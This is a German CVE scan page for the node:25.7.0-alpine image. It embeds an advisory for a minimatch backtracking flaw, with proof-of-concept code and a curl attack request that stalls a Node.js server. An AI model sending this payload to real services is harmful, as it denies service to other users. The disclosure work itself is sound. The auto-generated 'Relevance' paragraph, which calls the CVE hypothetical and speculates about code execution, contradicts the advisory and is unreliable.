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CVE-Scan für node:25.7.0-alpine

Docker-Image-Sicherheitslücken-Scanner

4 Bekannte Sicherheitslücken in diesem Docker-Image

0
Kritisch
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Hoch
1
Mittel
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Info/ Unbestimmt/ Unbekannt
CVE-IDSchweregradPaketBetroffene VersionBehobene VersionCVSS-Score
CVE-2026-27903highpkg:npm/minimatch@10.2.2>=10.0.0,<10.2.310.2.37.5

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Relevance:

The CVE-2026-27903 (likely a placeholder or hypothetical CVE) would be relevant if the vulnerability affects Node.js or Alpine components in the `library/node:25.7.0-alpine` image. It could be critical if the flaw allows remote code execution or privilege escalation in a production environment. For example, if the image is used to host a public-facing API, an attacker might exploit it to compromise the container. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):
  • pkg:npm/minimatch@10.2.2
CVE-2026-27904highpkg:npm/minimatch@10.2.2>=10.0.0,<10.2.310.2.37.5
CVE-2025-60876mediumbusybox<=1.37.0-r30not fixed6.5
CVE-2026-27171lowzlib<=1.3.1-r2not fixed2.9

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

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Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

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  • Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
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  • Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

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